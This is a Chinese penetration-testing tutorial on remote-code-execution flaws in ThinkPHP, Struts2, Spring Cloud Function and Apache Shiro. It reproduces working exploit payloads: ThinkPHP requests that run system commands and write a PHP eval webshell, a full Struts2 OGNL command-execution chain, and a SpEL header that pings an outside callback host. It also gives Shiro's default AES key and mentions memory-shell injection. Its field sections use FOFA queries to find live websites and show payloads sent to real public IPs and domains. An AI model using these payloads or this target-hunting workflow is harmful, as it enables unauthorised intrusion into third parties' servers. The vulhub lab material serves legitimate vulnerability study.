常见框架漏洞

1.什么是框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。如图片验证码 , 数据库交互语句等

2.Thinkphp

2.1Thinkphp框架介绍

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循 Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持 MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。 官网网址

https://www.thinkphp.cn/

我们以后可能会遇到的 Thinkphp版本有 , Thinkphp3 , Thinkphp5 , Thinkphp6 , 遇到最多的是 thinkphp5

2.2TP5 rce

thinkphp5披露出的最多的漏洞就是rce , 其中的影响的版本范围非常广

5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同版本 payload 不同,且5.13版本后还与debug模式有关
​
poc:漏洞验证 , 一段能够证明漏洞是否存在的代码 
exp:漏洞利用 , 一段能够利用漏洞的代码 
payload:攻击载荷

Thinkphp5 5.0.22/5.1.29 rce复现 环境搭建

cd vulhub-master/thinkphp/5-rce 
docker-compose up -d

漏洞原理

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件

poc

http://192.168.1.159:8080/index.php? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo  &vars[1][]=-1

上述poc只是简单的运行了phpinfo , 我们可以修改payload , 进而实现漏洞的利用

?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&va  rs[1][]=whoami

如果想要写入一句话木马 , 可以使用以下payload

?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&va  rs[1][]=echo "<?php @eval(\$_POST[1]);?>" >1.php

补充 : 实验做完记得关闭环境

docker-compose down

Thinkphp5 5.0.23 rce复现 环境搭建

cd vulhub-master/thinkphp/5.0.23-rce 
docker-compose up -d

POC

http://ip:port/index.php?s=captcha

post请求
_method=	construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

执行系统命令

_method=  construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

2.3TP的综合利用工具

上面是我们手动测试payload实现的攻击 , 可以把这些整合到一个工具中 , 实现真多thinkphp可能存在的所有漏洞的扫描 , 推荐几个比较好用的工具 , 但是要记住 , 工具是会存在误报的

ThinkPHP.V2.0.by.jar 
ThinkphpGUI-1.3-SNAPSHOT.jar

2.4实战挖洞

fofa

body="thinkphp" && icon_hash="1165838194" && body="V5"

随便找的一个

http://64.176.36.205:8080/index.php?s=captcha

post请求
_method=	construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

上面是通过fofa批量找thinkphp框架搭建的网站 , 然后测试是否存在漏洞 如果给你一个网站你如何识别是否使用了thinkphp框架

1. 使用指纹识别插件 Wappalyzer
2. 通过构建报错的url , 根据报错信息判断
3. 根据tp的默认icon
4. 路由格式
....

关于thinkphp的漏洞远远不止这些 , 像这类历史漏洞 , 大家需要做的是收集并整理 , 以后遇到这种框架 , 你要知道它在历史版本上存在过什么漏洞 , 使用对应的payload或者是工具 , 打就完了 更多利用方式可以参考: GitHub - Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合 Thinkphp5 RCE总结 - Y4er的博客

https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-  CMS%E6%BC%8F%E6%B4%9E/Thinkphp/Thinkphp%205.1.%28-31%29%265.0.%28- 23%29%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

3.struts2

3.1struts2框架介绍

Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用框架。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。 Struts 2 是一个基于MVC设计模式的web应用框架: MVC:模型(Model)、视图(View)、控制器(Controller):

  • 模型 --- 属于软件设计模式的底层基础,主要负责数据维护。

  • 视图 --- 这部分是负责向用户呈现全部或部分数据。

  • 控制器 --- 通过软件代码控制模型和视图之间的交互。

3.2struts2 rce

Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062 不同的Struts 2 版本对应的payload是不同的 S2-057远程执行代码漏洞复现 环境搭建

cd vulhub-master/struts2/s2-057 
docker-compose up -d

漏洞原理

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令执行。

S2-057 先决条件 :
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞

补充

OGNL表达式
OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。
它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ 这三个符号的使用:
 #:获得contest中的数据;
 %:强制字符串解析成OGNL表达式;
 $:在配置文件中可以使用OGNL表达式。

访问靶场

1.15.136.212:8080/struts2-showcase

POC

http://192.168.1.159:8080/struts2-showcase/${(123+123)}/actionChain1.action

可以看到中间数字位置相加了 , 说明我们中间的表达式正确的执行了 , 那么我们可以构建可以执行系统命令的表达式进行rce EXP

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')). 
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

/struts2- showcase/%24%7b%0d%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%2  7%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%6  5%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%2  8%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action

3.3综合利用工具

因为s2系列漏洞很多 , 如果全部记下所有的poc和exp非常的不容易 , 而且实战中效率很低 , 这个时候我们可以采用综合利用工具 , 对当前网站测试所有的s2漏洞

Struts 2_v18.09.jar

burp被动插件

Struts Finder

3.4实战挖洞

fofa

app="struts2"
https://www.cerpba.com/

执行系统命令

给你一个网站你怎么判断是否使用了struts2框架

1. 通过网页后缀来判断,如 .do .action,有可能不准。
2. 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
3. 通过 actionErrors,要求是对应的 Action 需要继承自 ActionSupport 类。如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111;
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:页面直接出现 404 或者 500 等错误。
页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。页面的内容结构发生了明显的改变。
页面发生了重定向。

更多利用方式可以参考: Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

4.spring

4.1spring框架介绍

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。 2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。 因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017- 8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等 SpEL是什么? SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。 SpEL原理如下:

  1. 表达式:可以认为就是传入的字符串内容;
  2. 解析器︰将字符串解析为表达式内容;
  3. 上下文:表达式对象执行的环境;
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

4.2spring rce

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)复现 环境搭建

cd vulhub-master/spring/CVE-2022-22963 
docker-compose up -d

漏洞原理

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中 RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码

访问靶场

http://1.15.136.212:8080/

POC 发送如下数据包, spring.cloud.function.routing-expression 头中包含的SpEL表达式将会被执行:

POST /functionRouter HTTP/1.1 Host: 10.10.1.6:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping y689bh1h.eyes.sh") Content-Type: text/plain
Content-Length: 4
test

4.3综合利用工具

spring相关的漏洞很多 , 我们上面复现的漏洞 , 在该工具中没有对应的利用方式 , 使用CVE-2022-22947进行演示 漏洞环境

cd vulhub-master/spring/CVE-2022-22947 
docker-compose up -d

利用工具

SpringBoot-Scan-GUI-main

4.4实战挖洞

fofa

icon_hash="116323821"

spring的特征

1. icon 是个小树叶
2. 默认报错页面
3. ....

spring 框架还是很流行的框架的,很多甲方的网站建设都有使用到该框架进行搭建,日常渗透也能经常见到。 更多利用方式参考: 【网络安全】Spring框架漏洞总结(一)_黑客_网络安全学海_InfoQ写作社区 【网络安全】Spring框架漏洞总结(二)_黑客_网络安全学海_InfoQ写作社区 GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list

5.shiro

5.1shiro介绍

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

5.2shiro 反序列化rce

Shiro-550 反序列化rce复现 环境搭建

cd vulhub-master/shiro/CVE-2016-4437 
docker-compose up -d

漏洞原理 Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的 cookie。 cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。 在服务端接收cookie值时,按照如下步骤来解析处理

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

利用条件

获得aes的加密密钥

在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞

尽管目前已经更新了许多版本,官方并没有对反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码, 这 里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。 只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞漏洞复现 访问

http://1.15.136.212:8080/login

输入账号密码 , 抓包

存在shiro , 这里直接使用工具构造反序列化实现rce

注入内存马

使用冰蝎3.0链接

5.3综合利用工具

burp被动扫描插件

https://github.com/pmiaowu/BurpShiroPassiveScan

shiro利用工具

shiro_attack-4.5.3-SNAPSHOT-all.jar

5.4实战挖洞

fofa

app="Apache-Shiro" 
header="rememberme=deleteMe" 
header="shiroCookie"
http://47.110.245.84:8000/

如果给你一个站点 , 你怎么判断是否使用了shiro

响应包中存在字段 set-Cookie: rememberMe=deleteMe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/331090.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

介绍 sCrypt:BTC 的 Layer-1 智能合约框架

在 TypeScript 中开发 BTC 智能合约 我们非常高兴地推出 sCrypt&#xff1a;一种现代 Typescript 框架&#xff0c;用于在 BTC 上开发第一层智能合约&#xff0c;无需分叉。 现在&#xff0c;人们可以使用现代开发工具在易于使用的统一框架中编写、测试、调试、部署和调用智能合…

一键式Excel分词统计工具:如何轻松打包Python脚本为EXE

一键式Excel分词统计工具&#xff1a;如何轻松打包Python脚本为EXE 写在最前面需求分析直接用Python打包为什么大&#xff1f;为什么要使用conda环境&#xff1f; 将Python脚本打包为一个独立的应用程序1. 编写Python脚本&#xff1a;初步功能实现2. 初步图形用户界面&#xff…

大创项目推荐 深度学习的水果识别 opencv python

文章目录 0 前言2 开发简介3 识别原理3.1 传统图像识别原理3.2 深度学习水果识别 4 数据集5 部分关键代码5.1 处理训练集的数据结构5.2 模型网络结构5.3 训练模型 6 识别效果7 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习…

第三届iEnglish全国ETP大赛展现教育游戏新趋势

随着社会步入数字化纪元,游戏作为信息交流和传播的重要载体,在教育领域的潜能日益凸显。特别是寓教于乐的“教育游戏”学习方式让更多家长和孩子体验到“玩中学,学中玩”的乐趣,在教育领域的潜能也日益凸显。 本周五(1月19日)晚上7点,国内首个教育游戏赛事、以“玩转英语,用iE…

Docker之安装Nginx

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是君易--鑨&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的博客专栏《Docker之Dockerfile构建镜像》。&#x1f3af;&…

瑞_JVM虚拟机_概述

文章目录 1 什么是JVM1.1 JVM功能1.2 常见的JVM1.3 常见的JVM: Java虚拟机规范1.4 常见的JVM - HotSpot的发展历程 2 JVM的组成3 字节码文件的打开方式3.1 以正确的姿势打开字节码.class文件3.1.1 NotePad的插件HexEditor3.1.2 jclasslib3.1.3 IDEA插件jclasslib 4 字节码文件的…

蓝桥杯备赛 day 2 —— 二分算法(C/C++,零基础,配图)

目录 &#x1f308;前言&#xff1a; &#x1f4c1; 二分的概念 &#x1f4c1; 整数二分 &#x1f4c1; 二分的模板 &#x1f4c1; 习题 &#x1f4c1; 总结 &#x1f308;前言&#xff1a; 这篇文章主要是准备蓝桥杯竞赛同学所写&#xff0c;为你更好准备蓝桥杯比赛涉及…

OpenHarmony 应用开发入门 (一、环境搭建及第一个Hello World)

万事开头难。难在迈出第一步。心无旁骛&#xff0c;万事可破。没有人一开始就能想清楚&#xff0c;只有做起来&#xff0c;目标才会越来越清晰。--马克.扎克伯格 前言 2024年1月16日&#xff0c;华为目前开启已HarmonyOS NEXT开发者预览版Beta招募&#xff0c;报名周期为1月15…

MS2358——96KHz、24bit 音频 ADC

产品简述 MS2358 是带有采样速率 8kHz-96kHz 的立体声音频模数 转换器&#xff0c;适合于面向消费者的专业音频系统。 MS2358 通过使用增强型双位 Δ - ∑ 技术来实现其高精度 的特点。 MS2358 支持单端的模拟输入&#xff0c;所以不需要外部器 件&#xff0c;非常适…

高密数据中心卓越运维,更灵活助力企业 AI 就绪

AIGC的高速发展将企业对基础架构的需求推上了新的层次&#xff0c;根据中国通服数字基建产业研究院发布的《中国数据中心产业发展白皮书&#xff08;2023&#xff09;》报告&#xff0c;互联网行业客户对单机柜功率密度的要求较高&#xff0c;一般在6-8kW&#xff0c;金融行业处…

使用vscode编写golang代码并交叉编译生成

文章目录 一、修改Go相关环境变量二、为vscode安装插件及依赖1、安装插件2、安装相关依赖 三、新建项目并编写代码1、打开文件夹后&#xff0c;初始化mod&#xff0c;在终端执行&#xff1a;2、新建main.go编写代码 四、运行、调试、build代码1、运行2、调试3、生成可执行文件4…

从js闭包谈到作用域、作用域链、执行上下文、内存管理

文章目录 作用域函数作用域和全局作用域块级作用域和暂时性死区执行上下文和调用栈代码执行的两个阶段调用栈闭包内存管理内存泄漏场景举例浏览器垃圾回收如何避免内存泄漏如何利用闭包实现单例模式 ✍创作者&#xff1a;全栈弄潮儿 &#x1f3e1; 个人主页&#xff1a; 全栈弄…

Spring Boot 单体应用升级 Spring Cloud 微服务

作者&#xff1a;刘军 Spring Cloud 是在 Spring Boot 之上构建的一套微服务生态体系&#xff0c;包括服务发现、配置中心、限流降级、分布式事务、异步消息等&#xff0c;因此通过增加依赖、注解等简单的四步即可完成 Spring Boot 应用到 Spring Cloud 升级。 *Spring Cloud …

喜报!博睿数据荣获数据猿“年度创新服务企业奖、年度创新服务产品奖”!

1月17日&#xff0c;由数据猿与上海大数据联盟联合主办的“大数据产业发展论坛”活动在上海隆重举办。其中&#xff0c;备受关注的《2023中国大数据产业年度榜单》正式揭晓。在众多优秀的企业中&#xff0c;博睿数据凭借其前瞻性的产品技术布局、强大的市场影响力以及卓越的智能…

将vue项目打包成桌面客户端实现点击桌面图标直接进入项目

1.下载NW.js 下载地址&#xff1a;NW.js官网 下载完后zip解压 2.文件夹下新建index.html index内容如下&#xff1a; <!DOCTYPE html> <html> <head> </head> <body> <script language"javascript" type"text/javascript&q…

在分类任务中准确率(accuracy)、精确率(precision)、召回率(recall)和 F1 分数是常用的性能指标,如何在python中使用呢?

在机器学习和数据科学中&#xff0c;准确率&#xff08;accuracy&#xff09;、精确率&#xff08;precision&#xff09;、召回率&#xff08;recall&#xff09;和 F1 分数是常用的性能指标&#xff0c;用于评估分类模型的性能。 1. 准确率&#xff08;Accuracy&#xff09;…

【软件测试常见Bug清单】

软件测试中&#xff0c;bug的类型有很多种&#xff0c;比如&#xff1a;代码错误、界面优化、设计缺陷、需求补充和用户体验等&#xff1b; 一般情况下&#xff0c;需求补充和设计缺陷比较好区分&#xff0c;但是代码错误、界面优化和用户体验区分不是很明显&#xff1b; 下面…

C语言经典练习3——[NOIP2008]ISBN号码与圣诞树

前言 在学习C语言的过程中刷题是很重要的&#xff0c;俗话说眼看千遍不如手动一遍因为在真正动手去刷题的时候会暴露出更多你没有意识到的问题接下来我就为各位奉上两道我认为比较有代表性的题 1. [NOIP2008]ISBN号码 1.1 题目描述 每一本正式出版的图书都有一个ISBN号码与之对…

MySQL运维篇(四)读写分离

一、介绍 读写分离&#xff0c;简单地说是把对数据库的读和写操作分开&#xff0c;以对应不同的数据库服务器。主数据库提供写操作&#xff0c;从数据库提供读操作&#xff0c;这样能有效地减轻单台数据库的压力。 通过 MyCat 即可轻易实现上述功能&#xff0c;不仅可以支持 My…

搜索与图论第三期 树与图的深度优先遍历

前言 该部分内容实际上是DFS的一个扩展&#xff0c;只要是会了DFS之后&#xff0c;这部分其实也差不多&#xff0c;直接上例题啦就。 1…